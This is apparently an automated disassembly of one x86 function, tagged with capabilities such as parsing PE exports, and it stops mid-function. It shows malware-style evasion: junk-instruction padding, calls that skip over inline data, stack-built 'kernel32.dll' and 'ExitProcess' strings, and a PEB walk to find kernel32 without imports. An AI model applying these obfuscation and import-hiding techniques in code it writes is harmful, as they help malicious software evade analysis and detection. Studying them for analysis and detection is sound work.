Function at 0x433155
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push ebx
call 0x432ce8
add byte [ebp + 0x4a], al
dec eax
dec edi
aas
push eax
inc ecx
add esp, 4
and ebx, 0x1263
pop ebx
push eax
push ecx
add esp, 4
sub eax, 0x10a08
pop eax
push esi
sub esi, 0x1740d
add esi, 0x8387
pop esi
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x74c]
cmp eax, 0xffffffff
jb 0x432d54
push esi
push edx
add esp, 4
add esi, 0x6a09
sub esi, 0xf7c1
pop esi
push ebx
push edx
add esp, 4
sub ebx, 0x295e
pop ebx
push ebx
jmp 0x432d42
and ebx, 0xce6d
and ebx, 0xae3
pop ebx
jmp 0x432f82
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xabc], ecx
push edx
push edx
add esp, 4
add edx, 0x303d
call 0x432d82
add byte [edi], bh
inc edi
xor al, 0x37
xor al, byte [ecx - 0x7d]
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [eax + edi + 0x50], al
dec esi
inc edi
xor bh, byte [edi]
add esp, 4
or edx, 0x73a5
pop edx
mov edx, dword [ebp - 0x15c8]
mov dword [ebp - 0xab8], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15c8]
jne 0x432e03
push edx
or edx, 0x1529f
add edx, 0x16096
call 0x432dda
add byte [eax], bh
aas
xor eax, 0x4a3b4e3d
add esp, 4
pop edx
push ecx
add ecx, 0x310
xor ecx, 0x1429
add ecx, 0x108cc
pop ecx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d0], ecx
jmp 0x432f34
cmp dword [ebp - 0xc88], 0
jle 0x432f28
push esi
push edx
add esp, 4
xor esi, 0x166a8
call 0x432e27
add byte [0x3b453634], bh
aas
add esp, 4
pop esi
push edx
or edx, 0x3f9
or edx, 0xe6cc
jmp 0x432e41
pop edx
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xab8]
movzx edx, byte [ecx]
cmp eax, edx
je 0x432ec4
push eax
push edx
add esp, 4
sub eax, 0xe7af
xor eax, 0x100b6
invalid
mov dh, 0
add dword [eax], eax
mov dh, 0
add dword [eax], eax
or eax, 0x8af9
pop eax
push esi
or esi, 0xdffd
or esi, 0xc71e
and esi, 0x77a7
sub esi, 0xb8a4
pop esi
mov eax, dword [ebp - 0xabc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xab8]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x432eac
mov dword [ebp - 0x15cc], 1
jmp 0x432eb6
mov dword [ebp - 0x15cc], 0xffffffff
mov ecx, dword [ebp - 0x15cc]
mov dword [ebp - 0xc8c], ecx
jmp 0x432f28
push eax
push eax
add esp, 4
add eax, 0x17678
jmp 0x432ed8
pop eax
push esi
or esi, 0x14c01
call 0x432eec
add byte [0x424c4c40], bh
dec esp
add esp, 4
or esi, 0xb049
pop esi
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xabc]
add eax, 1
mov dword [ebp - 0xabc], eax
mov ecx, dword [ebp - 0xab8]
add ecx, 1
mov dword [ebp - 0xab8], ecx
jmp 0x432e03
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d0], edx
cmp dword [ebp - 0x15d0], 0
jne 0x432f7d
push eax
push edi
add esp, 4
xor eax, 0x17fa
xor eax, 0xd518
or eax, 0x211a
or eax, 0x1839b
pop eax
push edi
or edi, 0xc9a8
xor edi, 0xa860
xor edi, 0x18179
pop edi
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab4], eax
jmp 0x432fbe
jmp 0x432ccb
push edi
or edi, 0xc096
sub edi, 0x15aaf
add edi, 0x17b8c
xor edi, 0x11402
pop edi
push eax
push ebx
add esp, 4
or eax, 0x3fdf
add eax, 0x2d8c
or eax, 0x11a95
pop eax
mov dword [ebp - 0xab4], 0
push eax
xor eax, 0xdf95
or eax, 0x1f45
pop eax
push edi
push ecx
add esp, 4
call 0x432fe1
add byte [esi + 0x50374443], dh
cmp eax, 0x83483540
les eax, [ecx + eax*4]
out dx, eax
xor byte [edi], dl
add byte [eax], al
jmp 0x432fef
pop edi
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push edx
call 0x433052
add byte [0x36443542], dh
cmp al, 0x50
add esp, 4
pop edx
push ecx
and ecx, 0x142dc
and ecx, 0x149bd
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x133a5
and ebx, 0x9c85
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1734], cx
mov edx, 0x65
mov word [ebp - 0x1732], dx
mov eax, 0x72
mov word [ebp - 0x1730], ax
mov ecx, 0x6e
mov word [ebp - 0x172e], cx
mov edx, 0x65
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
mov ecx, 0x33
mov word [ebp - 0x1728], cx
mov edx, 0x32
mov word [ebp - 0x1726], dx
mov eax, 0x2e
mov word [ebp - 0x1724], ax
mov ecx, 0x64
mov word [ebp - 0x1722], cx
mov edx, 0x6c
mov word [ebp - 0x1720], dx
mov eax, 0x6c
mov word [ebp - 0x171e], ax
xor ecx, ecx
mov word [ebp - 0x171c], cx
push ecx
push esi
add esp, 4
xor ecx, 0xa30b
pop ecx
push ecx
sub ecx, 0x3b5f
pop ecx
push edi
push ecx
add esp, 4
xor edi, 0x16e0b
or edi, 0x5836
and edi, 0x162c1
xor edi, 0x3552
pop edi
push esi
push ebx
add esp, 4
call 0x433155
add byte [esi + 0x364e3c4f], dh
push eax
xor eax, 0x4c48339
xor esi, 0x7df0
xor esi, 0x12a02
and esi, 0x4e5a
pop esi
push esi
and esi, 0xdba6
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1ff4], edx
mov eax, dword [ebp - 0x1ff4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1950], ecx
mov edx, dword [ebp - 0x1950]
mov dword [ebp - 0x159c], edx
push edi
push ebx
add esp, 4
and edi, 0x4021
add edi, 0x8821
xor edi, 0xa7cc
xor edi, 0x14f93
pop edi
push edi
add edi, 0x14081
add edi, 0x166ca
and edi, 0x9173
pop edi
cmp dword [ebp - 0x159c], 0
jne 0x4331e5
mov dword [ebp - 0x318], 0
jmp 0x4334a1
mov eax, dword [ebp - 0x159c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push esi
push edx
add esp, 4
sub esi, 0x185e6
and esi, 0x12aec
or esi, 0x94f2
pop esi
push ebx
and ebx, 0xdc89
xor ebx, 0xe7f6
pop ebx
push eax
push eax
add esp, 4
add eax, 0x89de
pop eax
cmp dword [ebp - 0xc98], 0
jne 0x433241
mov dword [ebp - 0x318], 0
jmp 0x4334a1
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push ecx
push esi
add esp, 4
sub ecx, 0x9552
pop ecx
push ecx
jmp 0x433261
pop ecx
push ebx
or ebx, 0xef3b
pop ebx
push eax
call 0x43327b
add byte [esi + 0x4e], al
dec eax
dec edi
cmp eax, dword [ecx + 0x43]
inc edi
xor esi, dword [0x5804c483]
lea ecx, [ebp - 0x1734]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x20c], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push esi
push ebx
add esp, 4
xor esi, 0xe55b
pop esi
push edx
sub edx, 0xa33f
or edx, 0x23e2
add edx, 0x180c7
add edx, 0x81de
pop edx
push ecx
push edx
add esp, 4
or ecx, 0xd931
pop ecx
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x20c], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push edx
add edx, 0x5f16
pop edx
push ecx
push esi
add esp, 4
jmp 0x43334a
xor ecx, 0x9d4e
pop ecx
push edx
push ebx
add esp, 4
xor edx, 0x160f6
jmp 0x433363
or edx, 0x13490
pop edx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x43338d
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15d8], eax
jmp 0x4333f0
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x4332ac
movzx ecx, word [ebp - 0x20c]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x4332ac
movzx eax, word [ebp - 0x20c]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x4333da
mov dword [ebp - 0x15d4], 0xffffffff
jmp 0x4333e4
mov dword [ebp - 0x15d4], 1
mov edx, dword [ebp - 0x15d4]
mov dword [ebp - 0x15d8], edx
cmp dword [ebp - 0x15d8], 0
jne 0x433439
push eax
or eax, 0x41ae
jmp 0x433406
pop eax
push eax
or eax, 0x14f4e
or eax, 0xb8a
jmp 0x433419
add eax, 0x362
pop eax
push edx
jmp 0x43342a
pop edx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x318], eax
jmp 0x4334a1
push ebx
jmp 0x433440
jmp 0x433449
add ebx, 0x1694f
pop ebx
push edx
jmp 0x433458
add edx, 0x2cc3
and edx, 0x235b
add edx, 0x17724
pop edx
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x433497
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x43324d
mov dword [ebp - 0x318], 0
push edx
jmp 0x4334a9
add edx, 0x13845
call 0x4334bc
add byte [eax + 0x44], al
inc ecx
cmp byte [ecx + edi], dh
inc esp
add esp, 4
pop edx
push ecx
call 0x4334cf
add byte [edi], dh
cmp al, 0x50
inc esp
inc eax
dec eax
xor ecx, dword [ecx - 0x7d]
les eax, [ecx + ebx*2]
cmp dword [ebp - 0x318], 0
jne 0x433dec
mov edx, 0x6b
mov word [ebp - 0x1770], dx
mov eax, 0x65
mov word [ebp - 0x176e], ax
mov ecx, 0x72
mov word [ebp - 0x176c], cx
mov edx, 0x6e
mov word [ebp - 0x176a], dx
mov eax, 0x65
mov word [ebp - 0x1768], ax
mov ecx, 0x6c
mov word [ebp - 0x1766], cx
mov edx, 0x33
mov word [ebp - 0x1764], dx
mov eax, 0x32
mov word [ebp - 0x1762], ax